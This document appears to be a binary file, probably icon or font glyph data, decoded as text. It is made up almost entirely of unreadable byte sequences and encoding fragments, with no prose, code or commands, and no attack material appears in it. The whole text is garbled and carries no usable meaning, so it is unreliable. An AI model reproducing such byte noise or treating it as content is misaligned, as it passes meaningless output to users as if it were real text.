 *,$9K$9/5999H9F9999A;901 2=4#.6?2576$32;2"3>54'6?654/.54?6/&#"&#" 3264&"32654&#"32654&#"32654&#"32654&#"32654&"2654&">72&+&*µ9Ev,AFm?UF?;zz-}2N4$&33L2-3%&44&%3#&66&#5D#&77&#$'56&$44&%32L4-6J33J6w2^8!,7=ΏwjMPcg2+1B	<oK5-$42L22^&55&$44#3%&77L4%&7'&2&%55$43%&22^%65&$45W_!H:8~      uC J [ k v          ;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 32?6&'&654/&#"32654&"76?6&'&232?6&'&2654&"632&+&26=4&" ?64'&#"327654/&#";264&+"թF

rs6ο.zsO1I"#E
&%"B9E"!@C&(64$&22L2B! %>%&#B' !A%$(A
OL22L2nk2!/$5L33L5SI&%:E%#B$&5'&65''5/?\y??͎ubŘ`UE)3
A?)@%$?	[%F:'%F4$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&22g۝iX&65''56&WNL%C&%B7'5L33      uz J [ f v    4  +3/ͰP/VͰ_/}3eͰͰ)/3Ͱ"/EͳE"+C3@/ ְͰ\+bͰbR KͰK/RͰbm gͰg/mͰt nͰb+Ͱ Ͱ/Ͱ+<Ͱ, 8ͱ+K	 H$9\9gPe999R_9bE"Td$9now99zC99}$9%($9,)12@$998:9 VP	K999_W9e999k99499/5$9) 8:r$9%H$9" <999901;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 32?6&'&32654&"76?6&'&232?6&'&2654&"632&+&թF

rs6ο.zsO1I"#E
&%"BT4$&22L2B! %>%&#B' !A%$(A
OL22L2nk2!//?\y??͎ubŘ`UE)3
A?)@%$?0$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&22g۝iX    u	 Y j u     4  +3/Ͳ  +Ͱ_/eͰn/3tͰͰ)/Ͱ"/TͰ/M/ ְͰk+qͰqa ZͰZ/aͰq| vͰv/|Ͱ }Ͱq+Ͱ Ͱ/Ͱ+EͰE,+7ͱ+Z	 W$9k9v_t999an9qT"cs$9}R~9999$9%($9/12)$9,EI9979B999 e_	Z999nf9t999z99945$9)/ 79$9%W$9" >B999TR99MG901;36&+6#!".546?2576$32;2"36 54'6?654/.74?6/&#&&#" 32?6&'&32654&"76?6&'&232?6&'&2654&">;&+&ԩE
rr8)Fz'B\5UK9;{y-v2I"#E
&%"BT4$&22L2B! %>%&#B' !A%$(A
OL22L2K5bHc6#-3BXw6=ˎ
5֋zvI}C,/A	;mJ1*3
A?)@%$?0$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&22Ya"f0<2}     C J Z g t          ;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 654/&#"32654&#"32654&#"32654&#"2654&"2654&"632&+&26=4&" ?64'&#"327654/&#";264&+"թF

rs6ο.zsO1E"!@C&(6}$&66&#5$'56&$4#&66&#5Y5J33J54L22L4kk2!/$5L33L5SI&%:E%#B$&5'&65''5/?\y??͎ubŘ`UE)f%F:'%F43'4%&77^&2&%55#3%&771&55&$44X$43%&22^g۝iX&65''56&WNL%C&%B7'5L33    z J W d q {   U  +OͲu  +433zͰ/2i/oͰ/Ͱ\/.3bͰ)/3Ͱ"/EͳE"+C3@/ ְͰe+KX22lͱR_22l|+r2Ͱw2+<Ͱ, 8ͱ+e H$9lE"99|C9%(999,)12@$998:9 U99zu599b\9) ,8:$9%H$9" <999901;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 32654&#"32654&#"32654&#"2654&"2654&"632&+&թF

rs6ο.zsO1$&66&#5$'56&$4#&66&#5Y5J33J54L22L4kk2!//?\y??͎ubŘ`UE)'4%&77^&2&%55#3%&771&55&$44X$43%&22^g۝iX      	 Y f s     d  +^Ͳ  +433Ͱx/~Ͱ/Ͱk//3qͰ)/Ͱ"/TͰ/M/ ְͰt+Zg22{ͱan22{+2Ͱ2+EͰE,+7ͱ+t W$9{T"99R9%(999/12)$9,EI9979B999 d99599qk.99) ,79$9%W$9" >B999TR99MG901;36&+6#!".546?2576$32;2"36 54'6?654/.74?6/&#&&#" 32654&#"32654&#"32654&#"2654&"2654&">;&+&ԩE
rr8)Fz'B\5UK9;{y-v2$&66&#5$'56&$4#&66&#5Y5J33J54L22L4H5bHc6#-3BXw6=ˎ
5֋zvI}C,/A	;mJ1*'4%&77^&2&%55#3%&771&55&$44X$43%&22xYa"f0<2}   
  p   - = J V f u    H/AͰ;/_Ͱ/3Ͱ2e/2ͰU/O/ ְͰJ+K2EͰQ2Eb+7ͳv7b+g3~Ͱo27+ͱ+ 99J!&).;$9E2W]_e$9b:Z997k{999 AHpr$9;go999_k99]9.7Zb$9eW92)99U&v~$9O!{9901476;2+"&4?632'&47632#"/&4$32 $4632"&55462"&32654&#"47632/&4?632#"&476;2+"$%11%%61'&3AB%#3&'pΕX  5&'45L56J65L5 ݜ)$'@@#&5#$0#%77%%'6L56B%0%'33%'&3EYp  Y&44&'66'I%66%%11XԏݜF%J22(6%(3L7J6     W/   C /Ͱ// ְͰ+ͱ+ 
$9  999014$32 &32654&#"   ۋ ޜ)   ԏݜ    v G W # D/KX/ְ2HͱY+H(9 0154754646=46=46574757656=6747676?>767>7676?	%#".73267654&#"	(+)Bl!E,uAI
	'
=6y
QyDKk9  	  	s   @  8HW  476;2+"&47632#"/&4>32&#"654&#"&5&76767>767>76?6;2##"'&6?>56'&'&'&'.'&'&'&'&'4&%47>?632222+"'"&#".#&'&6?>76'&'&54632#"&>?67632#"'&67>76'&'&4?632#"&476;2+"&'&55&(78("5%)[r-:'&⟞/+%		
	
		'4 

0						")'	 "5W'4"

LYA7&'66'&7f")'603O	'50!NB"$$&7$%2%&98''3&6&(66%'&5:qї[ݜ394	
)	}0Y= F
	  	*)(	#C.#	'$#'
$hm0Z; 	E@Gi'66'&22#C.#	)2"(6J|0Y= F8@G:BF(7&(5#7%'76   EP . ? L +/2Ͱ;/@/ ְ/Ͱ/6+ͱA+6/"%)+$9 2+)9;99015&>76632#"'&6767#".7326?47.#"#Jef7qVX"/M_P)oW_oqa[
bY4x~98s(UOwkoq-	%7x)ntbyZ`tW   b7& - 3 ./ְ"2Ͳ
+@	+
+@ 	+/+9 014676$3232#"&5465#"&547&'#.$#+y}Et;f0pONp		^'N/#ݲhj}8vc0AOooO	&
^%L)]     v  . @  A/!ְ/ͱB+ 016%673'&' 67.'&'.'&'"76767>76&vU Cf3)`J}M.!Ǝ-.(K7\<70=Cm69#^LT5p䵝82$@-</9b$#	
1+Bj$E 	  IA 
 H R ] i u     g  +aͰQ/:}33MͰy2F/-333Ͳ&222F
+@	+ 2\/3Wͱ22s/m/ ְͰJ+S22OͰX2O^+=j222dͲ6p222^d
+@^C	+2dw+2|ͱ*22|+ͱ+^OE99wd#&.0$9 FM36>@$9\99014632"&7463!'&4624632762!2#!"/#"&5"&4?!"&4762"'4762"'4632#"&4632#"& 4762"'4762"'4632#"&**+<**X,<,*;X++;*,<,*=,,==,=,**,,**,=,,==,=++++,,*+,=,V,,=,+<++W,<+;,;,";,;S++++++++;,;,";,;-,,++      cW   $ 0  >54&6 5 4 >54&>54&hhhʅށ瘘Ә?Ԙ]hhhh
%
&ݙݙܚܙ   X5   / +ͱ+ 0132$54'.'&' pNG+'c `	q[*'`     W  # ' + 9 = A  /Ͱ$/>3%Ͱ?2 /B/ ְͰ+ͳ=+:Ͱ:/=Ͱ=4 ,Ͱ,/4Ͱ+
ͱC+$&()+$9,*9: 9=/7$9429901>@$9 99$,27999%
 ./$9 )+01:;$90146$32 !& 32$54."537467#"&5353|!!|<Ƭaa>s87k]C#FbFEaJ"||ߟiK[H{aaMMy78Cb%(6Faa8OO  "  # 9 = I ` Y a/ ְͰ%+0Ͱ0K+VͰVD+ͱb+0%!:999K@	;=I>?$9VAG<999 0147? #"$&3267.#"4>32#".3#3267.#"4>32#".
yP(0B`r|ڣ}prsqqsrp=FqrsoosrqmJM*#C}y%ޅ0,8(H'8,zņH'8..8  rZ      333###3#3733#73&D@|{))ee8    ? -  3 */ͱ22/ְͱ+2u999 *9901&4732673267267"#"&#!""&#.' 4?252525324737373736;43637325;7;2;;3;32323333"/"&5"',]^,,^],-,6%
$4J3$4%3mO__OO__OO__O%62#33 $$      	6  = L X f v    /PͰ/M3 Ͱ Ͱ-/:3	Ͱ4// ְͰf+aͰa*+ͳS*+ͱ+f@		&-?FMX$9aP99S*U9gwx$9 PCj99 S$9-@	* Ux$9	17|$9429014676$3232#"&'!.7!6;23>54&+"5'.#"+&?632#"32654'4632"&54632#"/&4?632"46;2+"&))xyx&m]hmrҊ+l((y!&z V"^|5r++<+)~+!yy~<(,,( ݬyxppq2244{& ~+Vj~>2bz(,,r({+~>~{r**++   	x " = J  /BͰ />3&Ͱ-/:3	Ͱ4/K/ ְ#Ͱ#+>Ͱ>*+ͱL+#4999*>	2BH$99  BF9&!H$9- 999	1799942901476 32 322#".5!& 7!>54&+"5'&$#"+32>7&'2^Y4#qgF{ݞ]!ֶЎ8Àpcv!)֋򐸑XR^y
2֋̋>>ip`~#hh      	u   ; N  /?Ͱ/J3$Ͱ+/83	Ͱ2/O/ ְ!Ͱ!+<Ͱ<(+ͰD+ͱP+!2999(<	0?J$9G9 $D999+ G$9	/599920901476 32 32#".5!& 7!>54&+"5'&$#"+32>54&'!2^Y4#hx_yxܟ_"ֶЏ8
`tB?;> )֋ !R{ݞ]^x
2֋͋>>ZK|SNA
   n  1 L a  //5Ͱ</QͰC/MͰY/b/ ְ2Ͱ2X+ͲX
+@	+9X++ͱc+X2<MQ$99S9+)99 <5)+2 $9Q'(%?FIS$9MCU$9Y_`99990154676754 76;24##!"&73!2654&+"/.#"#32267&="&#"'y3'9:!*)%a#G{PL	3Fiݛ%cHEeeE
	][CBV/|]o4b?W~&\%c*
	K348uq]I''FLeC6NHefGEeD\||\;	ahMEvT8$TNl  
  	  < I V c o |      +Ͱ ͰG AͰAh nͰ/3Ͱ2"/:Ͱ4/3)ͰN TͰ4t zͰ4ͳ[)4+a/JְQͳDQJ+=Ͱ=/DͰQW+^Ͱk2^~+Ͱp wͰ+Ͱ+Ͱ+Ͱ7+&ͱ+J=AG99QDNT99Wde99^[a99w~tz$999
$9-099)492$9 A~9h9De=}$9k999nGd9999 99N:7&99t260999T4-JQpw$9z9a)W^99013!2"'&#"3264&#!"3!2654&#"327632#!"32654&#"32654&#"%32654&#"32654&#"32654&#"32654&#" 32654&#"32654&#").@?^&(9Zw}|(9'Z}}{U7('-.??.(9$'67&$4e$'56&$4C$'67&$4
#'67&$$'67&$4"#'67&$#'67&#$'56&$4	'@/.=7&(X86%{|U-)4!@\>8&2&%55&2&%55&2&%55+J2&%5&2&%55lJ2&%5pJ2&%6&2&%55      q  5 D x /3Ͱ,/AͰ%/6Ͱ9/E/ ְͰ/+Ͱ<+ͱF+/69A$9	?99 ,3	 $9A#)?$96%<9990153!2654'654.#"46?257>32;2#!"&>32&#.#ۛe쁯٩3yVBC[]	
EeeE%Hcl]^{/M6Ufڮ$\&~C`	<\||\EdEHffp;N    f   8/LͰ\/3iͱou22\i
+@\&	+Xb222|/	/@ְHͰHR+2,Ͱ2+H@>IZ[$9R8Ll999,|9 \L*.BDSZ$9iglrx$9	|9901>7 %54632#"'&##"'&'#"'.65462327>/#"'&"'.76;2>732>732&' !"f[*-.ɏ9B^$-2}7nB:$tbQQ2"&
%!lS&uY$$@p8<!+la	=f	=f
ZaGr~( 6/!))!/RQ_׀	%+./t^^,+'&*1#A//&<^$()7$95R5R/(v8    
  qE  7 E V {     }   +Ͳ  +Ͱ/
Ͱ /5Ͱf/lͳ0lf+&ͰC/3<Ͱ2s/\Ͳs\
+@sz	+//ְͰ?28Ͱ8/W+vͳ2vW+$Ͱv|+2Ͱ2p+aͲpa
+@pj	+ap+3Ͱ2a+ͱ+8999F9W.)JR$92/&4O$9|ei\ms$9pn9a999 
999999 995#999f90*,2$9l$9&)9<Capv999\sR99FO$9J990153!2"'&#"3264&#!"3!264&#"32762#!"476;2+"&47632#"/&5>32#"&=4;>54&#"+"54632"&5462"&47632/&4?632#"&476;2+"&s)??R $&4Uuvv&8'vwyP1'&T==*n&8i$%22%&61%#4%'pΕXݜy5&(35L55L55L5M%'@@#%6#$1#%88%%P&<V> 3LU6$QN1<V>7&6L56%'&3RYpݛЕ	&44&'66p%66%%11%J22(6%(3L7J6        	 0 M ]  -  +4Ͱ;/J3PͰC/Ͱ[/^/ ְ1Ͱ1X+Ͱ8+(Ͳ(8
+@(	+_+X1<NP$98S99($U99 ;4$( 999PSU999C?EF$9
N999[Y990147>7632>32#!".73!2654&+'.'"&#"53267&=&#&%cky-yz;=FW>lEB,t@̋̍QSuI("ǋ5](5"3Kn;	@2*2fbPHfpΐP-ʂMܑ~2@Ea      . /Ͳ
+@	+/ ְͲ 
+@	++ 01463!2+#"'#"&)2))"e))
1))'b )*      p  . /Ͳ
+@	+/ְͲ
+@	++ 014763254632#!"&546;")))))a>c)*))(            . Y   +Ͱ/// ְͰ!+'Ͱ'+	ͱ0+!9'9999 	 $+$9014$32#"$&732$$ 32654&#"bМzz䜝y!""!cz㝜yz󳱡D""!!            5 \   +Ͱ/6/ ְͰ!+)Ͱ)+	ͱ7+!9)3$9/99 	 %3$9014$32#"$&732$$ 46327>#"&bМzz䜝y!"3/'!cz㝜yz󳱡D!!Y.$!          5 \   +Ͱ/6/ ְͰ"+)Ͱ)+	ͱ7+"9)3$9.99 	 %3$9014$32#"$&732$$ 546276#"&bМzz䜝y!0!.!cz㝜yz󳱡D!!k.!         4    +Ͱ0/(Ͳ(0
+@(%	+/5/ ְͰ!+(Ͳ(!
+@(,	+(+	ͱ6+!9(9999 09(	 9999014$32#"$&732$$ 462!2#!#"&bМzz䜝y!0!!!	!cz㝜yz󳱡D!!s!"!            3 ]   +Ͱ/4/ ְͰ!+(Ͱ(+	ͱ5+!9(999+.999 	 $.$9014$32#"$&732$$ 462#"'%.bМzz䜝y!0!!cz㝜yz󳱡D!!\-         3 ]   +Ͱ/4/ ְͰ"+)Ͱ)+	ͱ5+"9)999+/999 	 %/$9014$32#"$&732$$ 5462#"'&bМzz䜝y!0!"cz㝜yz󳱡D!!J-
         , Y   +Ͱ/-/ ְͰ!+(Ͱ(+	ͱ.+!9(9999 	 $*$9014$32#"$&732$$ 462"&bМzz䜝y!0!!0!cz㝜yz󳱡D$!!""          3 ]   +Ͱ/4/ ְͰ$++Ͱ++	ͱ5+$"1999+9999 	 '1$9014$32#"$&732$$  &7462#"'bМzz䜝y!0!#cz㝜yz󳱡D&-!!:         3 ]   +Ͱ/4/ ְͰ$++Ͱ++	ͱ5+$!1999+9999 	 '1$9014$32#"$&732$$  6?462#"'bМzz䜝y!0!!cz㝜yz󳱡D-!!9         4    +Ͱ2/$Ͳ$2
+@$)	+/5/ ְͰ%+,Ͳ%,
+@%!	+,+	ͱ6+%9,9999 29$	 9999014$32#"$&732$$ 463!462#"'!"&bМzz䜝y!!0!!
!cz㝜yz󳱡D!!!9!"         5 \   +Ͱ/6/ ְͰ'+.Ͱ.+	ͱ7+'"99.2$99 	 *2$9014$32#"$&732$$ &7>462#"'%bМzz䜝y/!0!!cz㝜yz󳱡D,.kd!!:!          4 \   +Ͱ/5/ ְͰ'+.Ͱ.+	ͱ6+'!99.1$99 	 *1$9014$32#"$&732$$ $6765462#"'bМzz䜝yz/5!0!!)cz㝜yz󳱡Dh.Y!!9!$       & >   +Ͱ"/'/ ְͰ+
ͱ(+99 "
 990146$32#"$&732>54$#"zzz㝜zRm múmzz㝜zzmm =m         +/ְͱ+ 01!2$$#aчu8
/Oiba5pBwvwaU       /ְͱ+ 01!2$$#aqa/7Zba<n]        /
ְͱ+ 01!2$$#aѯ-H~ba΁c\       /
ְͱ+ 01!2$$#aф|!7^baΎkZ        /	ְͱ+ 01!2$$# bѫGba)        /	ְͱ+ 01!2$$# bѫGba)       / +ͱ	+ 01!2$$#aba     
  / +ͱ+ 012$$#JaJ0ba n   
  / +ͱ+ 012$$#nbђba &     / +ͱ+ 012$6&$#&a{zzhtz:zn       / +
ͱ+ 012$654$#@vTzъzʭCzb΅i         / +
ͱ+ 012$6&$#"Pizz㜫˧=z:zuc  J     / +ͱ+ 012$654$#J=bfzi|,zbf_           +
/+ͱ+ 01 $$ ba^^ba        / +ͱ+ 013$4.'"M}9aPy}꼎Moyڨ\y           / +ͱ+ 013$4.'"M}JX}꼎MM,     p   / +ͱ+ 013$4.'"M}r=kJy}꼎M*6y      '   / +ͱ+ 013$4'"y(y
         
  /+ͱ+ 013"a`i           / +ͱ+ 013"aѓz ;by          /+ͱ	+ 013"a^         
  /ְͱ+ 013"aff^B_      
  /ְͱ+ 013"b^h         /ְͱ+ 013$47"aΫ^          /ְͱ+ 013&7"b^gi           /ְͱ+ 013$4>7"aRj^Q- &         /ְ
ͱ+ 013.54>7"aѕ܃N!7]|o^9^Cqnub`'        / D   +Ͱ/0/ ְͰ+	ͱ1+/'$9 	 #($9014$32#"$&732$$ 	62/&&bМzz䜝yN  


	cz㝜yz󳱡D

YY    qC L _ k |          5476 32>32"=43>54&+"5'&$#"#32#&'.'5&5&4657>#"&#.462#"'&4?>#"'.4632'&/&462#"'&4?>'.4657>#"&#.462#"'&32654&#"54632#"&4?632&'4632#'"/&46;2+"'&1_㟃Psz.Ώ6t#,B?SKK
A($$A!!O2L22&%B"%&
E#"96(&C@!!E2L22&#BB#&%>% !)
A($%A !O2L22&%n/!ܛ2ݝ?6%&33&%6S&'I:5&%B$&E5''56&& *FUaŚbu͋??Çg.֋(8?&%
A"@F
2U&22&%1>$%@)?A
3	|&4F%';F%22%&2`%'?#`,!
5?&%
B"@E
2U&22&%20zXj&76''67NLJ&6C%&D&33L6    	  kq J ] i z        +Df33Ͱ?2  +v/pͰX/33RͰ2~Ͱ$/13Ͱ+/ͳ++/ ְ6Ͱ826 
+@6B	+6^+cͰcU OͰO/UͲOU
+@OK	+c{+Ͱt jͰj/tͰtmͰm/ Ͱ/3Ͱ+Ͱ Ͱ/Ͱ2+Ͱ! Ͳ!
+@!	++6>z +
. ......@O6.99^P[\999UX`f999caT99{v}99t9+~r$99
$9)$9%($9!$$999 pvj9Xo9~N99RPO$9Q99`99$2a$9(.$9+)9999
901=476 32>32"=43>54&+"5'&$#"#32#&'.'&4657>#"&#.462#"'&4?>#"'.462#"&4?>'.4657>#"&#.462"'&32654&#"1_㟃Psz.Ώ6_-5<HNKy%K
B'$$A!!O2L22&%B"%&
D#"T2L22&$4BB#&%>% !)
B'$%A !O2L22Ln/!ݚ2ݝ")FUaŚbu͋??Çe/(zKQ>&&
B"@F
2V&22&%2?$$@)>B
3Q%11%&24`&&
@#`, 
4>&&
B"@F
2V&22&%20zXi  	  o	 d w         =676 32>2 "=43>54&+"5'&$#"#2332#&'#.4657>#"&#.462#"'&4?>#"'.462#"&4?>'.4657>#"&#.462"'&3267.=#"2^v-y{;>FU?lFB'zFΑ8LB#6<{jF
A($$A!!O2L22&$B"%&
E#"T2L22&$4BB#&%>% !)
A($%A !O2L22LK-#ē6cHc	(1Jm;	A/+1hcRIvz
Ȉ>7ŅT0QE?&%
B"@E
2U&22&%2?$%@)?A
3Q%22%&24`%'@#`, 
4?&%
B"@F
2U&22&%2K~1>0f!`   n b u        476 323325"=43>54&+"5'&'.'&#4#&'&#"#32#&'.'5&5&4657>#"&#.462#"'&4?>#"'.462#"&4?>'.4657>#"&#.462"'&1_ifl&!UsΏwt6?6!.@ASKK
A($$A!!O2L22&%B"%&
E#"T2L22&$4BB#&%>% !)
A($%A !O2L22L")+4qu\9e""	̋?tj?ćL0.֋)7?&%
B"@F
2U&22&%2?$%@)?A
3Q%22%&24`%'@#`, 
4?&%
B"@F
2U&22&%2        , 8 X f r |    @ 6  +c330ͱ\22*/z33"ͱu22/3Ͱ2Q/=ͲQ=
+@QW	+J2q/k/ ְͰ9+Sͳ3S9+-Ͱ-/3ͰSg+nͳsng+xͰnN+HͰH }Ͱ}/ͳHN+ͰH+ͱ+ 99-9906999S3Y99gQ9s@A&kp$9}nP`uvz{$9Nx9H999 NS99QO9=99q$9k9901476;2+"& 547632#"/463!2#!"&4632#"&56 7;62; +"&5. +"463!2#!"&5462"&462"&46;2+"&5463!2#!"4?632#"&476;2+"&#%11%%61 $"3&'2+a+32,+2i;#*32+%9dyyk3*#;9%g+2e6J65L5:H:9J94**31,+3^9$G#.-$%"%6#$0"%77%%2&6L56&%'&3`$..$+32#:8%,24F*	ϕ	%8:#*42&66&%22"00"*44%88%,22=*"0/#+3(6&'3%7J65     	a  ; O \  A  +[Ͱ/
ͳV
+KͰ/Ͱ"/9Ͱ3/(]/ְͰ<+Pͳ6P<+&ͰPX+Hͱ^+9<,96/(8999&PA9XKU[999 [<HPX$9
V999K 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&#"4>2#"	U**#9ooO%OppON9"**?%4Xj;RW@!OsE	'GX2jNc{(:*"9pPOq%po6!':*$SJ$7]nyc*K{KgV=88  	    ; ?  /
Ͱ/Ͱ"/9Ͱ3/(@/ְͰ?+>ͳ=>?+<Ͱ</=ͳ6=<+&ͱA+6>
 +
<.>.<=	>?	<=>?....@9?<(38,$9 
9999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!	U**#9ooO%OppON9"**?%_{(:*"9pPOq%po6!':*$S     	  v  ; a  R/Kͳ
KR+ͳKR+Ͱ"/9Ͱ3/(b/ְͰ<26+&Ͱ&O NͰN/OͰ&U+Gͱc+9N,/9961(8]$9&O?@99UBKR\$9G=>99 RG9
999K 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!7!5>54.#"34632	U**#9ooO%OppON9"**?%M+x xSf>,\VE?006)"1{(:*"9pPOq%po6!':*$0"<>a:Yy3;R3 EMq8  	  a  ; k  A  +eͰ`/^ͰX/Qͳ
QX+ͳQX+Ͱ"/9Ͱ3/(l/ְͰ<+iͳ6i<+&Ͱib+DͰDK [Ͱ[/Kͱm+9<,96/(8T$9&iAU_999bQX^e$9D[GH99 `e<Di999^HG99TU99XK[99
999Q 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32654&'5>54.#"3>32+32#"'&7#	U**#9ooO%OppON9"**?%t"HYA4E[$9PQ-C2.52/mH4={(:*"9pPOq%po6!':*$+RM/:`dF1L017'"KK26$"=   	q  ; F J  /
Ͱ/D3Ͱ"/9Ͱ3/(K/ְͰ6+&Ͱ>2L+6> +
>.I?
C>=>I+?@?C+>J>I+=>I  #9J9@?C9 =>?@CIJ.......=?@CIJ......@96(,8<F$9&G9 
H99999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!3737##73	U**#9ooO%OppON9"**?%j}"&l&k`(4{(:*"9pPOq%po6!':*$4D   	o  ; _  A  +[ͰU/MͰ/J3
Ͱ/P3Ͱ"/9Ͱ3/(`/ְͰ6+&Ͱ&X+Gͱa+96(,8<=QR$9&ALMS^_$9XJNU[$9 U[GR<999
NO999999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&#"#7!7!3632#"'&'	U**#9ooO%OppON9"**?%r!I[\P3lo,%p*ћ\3>JF2"{(:*"9pPOq%po6!':*$3]O/1H`O'k.m$6556B.  	x  ; Z i  ?  +gͰ^/EͰJ/Uͳ
UJ+ͳUJ+Ͱ"/9Ͱ3/(j/ְͰ<+[ͳ6[<+&Ͱ[d+Bͱk+9<,96/(8999&[GH99d?EJU^g$9BN9 ^g<B99EGH99JNO99
999U 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32654&#"#6323.#"4632#"&	U**#9ooO%OppON9"**?%ŎiuB5{(%9MR,d[<N1+D91={(:*"9pPOq%po6!':*$♺gP2P4"Mqwe;="2D9     	  ; E  /
Ͱ/A3Ͱ"/9Ͱ3/(F/ְͰ<+=ͳ&=<+6Ͱ6/&ͱG+9<,19963(8BC$9 
@CD$9999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!6?!! 	U**#9ooO%OppON9"**?%*|),t{(:*"9pPOq%po6!':*$Ga  	i  ; ^ n | ?  +iͰb/zͰr/Rͳ
Rr+ͳRr+Ͱ"/9Ͱ3/(}/ְͰ<+_Ͱ_o XͰX/oͰo& 6Ͱ6/&Ͱ_f+EͰEM uͰu/Mͱ~+9<,9X1/9963(8[\$9&o?9fRbijrz$9EuHIJ999 bi<E99zHI[\J$9rMXou$9
99R 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&'7>54.#"4632#7".4632#"&	U**#9ooO%OppON9"**?%j_R3L>H^8`d:LzL2:3Z{Z?A;Q?*-QO80C
:)@3{(:*"9pPOq%po6!':*$}uy&8M@!B_
kI=W,1A@"7R
o@84;"-.&c3.+.1     	V  ; [ j  A  +WͰ_/Jͳ
J_+ͳJ_+Ͱ"/9Ͱ3/(k/ְͰM+\Ͱ\& 6Ͱ6/&Ͱ\b+Gͱl+9M,/<=$961(8999\[9&APW999bJST_g$9 W<GM\bf$9
_999J 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&#"32673#"'&'4632".	U**#9ooO%OppON9"**?%u6Yf<[\?·j9mVF.3>=694D/{(:*"9pPOq%po6!':*$s?\2Di;j.#Ll32I76$(%    		  ; ? P ^  E  +]Ͱ/
ͳW
+NͰ/Ͱ"/9Ͱ3/(_/ְͰ<2<+=ͳ?=<+>ͳ6=<+&Ͱ=@+QͰQZ+Kͱ`+6> +
<.>.<=	>?	<=>?....@9?<(38,$9ZQEN99 ]@KQZ$9
W999N 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!32>54&#"4>32#"	U**#9ooO%OppON9"**?%W4Xi;bX:	'G,+4kNc{(:*"9pPOq%po6!':*$OSJ%Pvy4KhW=:7   	  ; ? C  /
Ͱ/Ͱ"/9Ͱ3/(D/ְͰ?+>ͳ=>?+<Ͱ</=ͳ6=<+&ͳ@>?+AͰ>C+BͱE+6> +
<.>.<=	>?	> +
@.B.@A	BC	<=>?@ABC........@9?<(38,$9 
9999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!!!	U**#9ooO%OppON9"**?%_{(:*"9pPOq%po6!':*$TT     	
  ; ? c  V/Oͳ
OV+ͳOV+Ͱ"/9Ͱ3/(d/ְͰ?+>ͳ=>?+<Ͱ</=ͳ6=<+&Ͱ>R+SͰSY+Kͱe+6> +
<.>.<=	>?	<=>?....@9?<(38,$9>&@9YSFOC]$9KAB99 VK9
9O99 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!!7!5>54.#"34632	U**#9ooO%OppON9"**?%_+y xRf>,\VF@0/Fb"1{(:*"9pPOq%po6!':*$T0"<?a:Yx2<R3!4:0DLn:    
   * 8 I n {    7   +Ͳz  +sͰ /(ͰY/_ͳ_Y+Ͱ6/3/Ͱ2f/OͲfO
+@fm	+//+ְ3Ͱ3J+iͰio+|2wͰ2wc+TͲcT
+@c]	+Tc+3Ͱ2T+ͱ+3+99J=E99iB99o$999wX\O`f$9ca9T999  99(s$999Y99_ 99/6Tci999OfE999B$9=99013!2654&#!"3!264&#!"3!2654&#!"476;2+"&47632#"/&5>32#"&=4;>54&#"+"54632"&5462"&47632/&4?632#"&476;2+"&'%32&&6$&&66&&56(&22&(6$%22%&61$#3&'pΕXݜz4&'45L45J65L4L%'@@#&5#$1"%88%%2&5&%33K'6J33&&22&(34~&6L56$'&3QYpݛЕ	&44&'65q&56%%11%J22(6%(3%7J65      G i    g  +Ͳ*_222g  +nͰ//ְjͲj
+@ 	+j+nͰjo+*Ͱ*++Ͱ+_ͱ+*op999+1399y999@	!5Sw#~$9_9 n@
#.<^,$901546;&'&5767676!2!&'&67%72532767;;;;3222/32#!"&!67676767'&76767&#"'.7676766767&'&#"!'%+""ab]#,mE94
7V\ZW1)55!f#$P$ "(8su	$e	ĝ[F	+0?֗QXA&itꧪX\#Ka*>4Be$Gf%hd)56&&%xr`~N7&I:R/ G]-eO1)/&RRx   0  E / 3Dͱ&C22F/G+6?9 +
C.B{/ +
	<;?z +
<;;:>x +
32 +
322,22+ +,+,++,  #9 @	+,23:;<B.................@	+,23:;<BC..................@ 013!2673267;>767!264&#!".'&..'&!"$>"`!"oL.$($$!YM %|%i #2#2!#2$!CQ;j    [  x " /Ͱp/#y/z+ #pXr99017463563#%#.&7676723&'&'&76767676767676'4767676747!.'&'&'&>,|
,>>,,>Y	&
#!6*K50
,4a;k'
$Ga*Y0M$
		((	$
m
+-0CD00BCwD^0bG9456SnV{TK>NS2@\]TJ:A]=SXhP?dVILD,}T"-.;25<=.(&=+)P22  y_   L h 8 i/>ְ8Ͳ8>
+@8.	+>8
+@>!	+j+8>6MNR$9 01&7676767676;!"&467>3232#"&5465#"&547&'#. &>732#!>.
"FLg2K,&<@,(Vf~c2.aK]Z\EM-
H38('8.D&CW{(,"8%<>nM+Q,*
34K>,DrsI2bPM96!KJuYtoYsQY?,o
1E (67'D.&/{4?&9"+31"G<WQb`[H       ; 2 9  +13%Ͱ*2</ ְͱ=+ !99 %9490146$; 2#67$ '#&4763!6!2#!"'%#!"&{ }![?QY@.KQ'+==++=|`lw8\".8;*+>>      " < / :  +43'Ͱ.2+  +=/ ְͱ>+ !#99 0146$;2#67$ '#&4763!2%63!2#!'!"&{ }Pe[@QY@ +W `+==++=|`gSlw8\ * <V=/=     S U e  H/,3=333YͲYH
+@Y	+b/ͰSͰ2/%3/QְVͲVQ
+@V		+QV
+@Q 	+JVQ+EͰV@+;Ͱ;+&Ͳ&
+@&"	+&
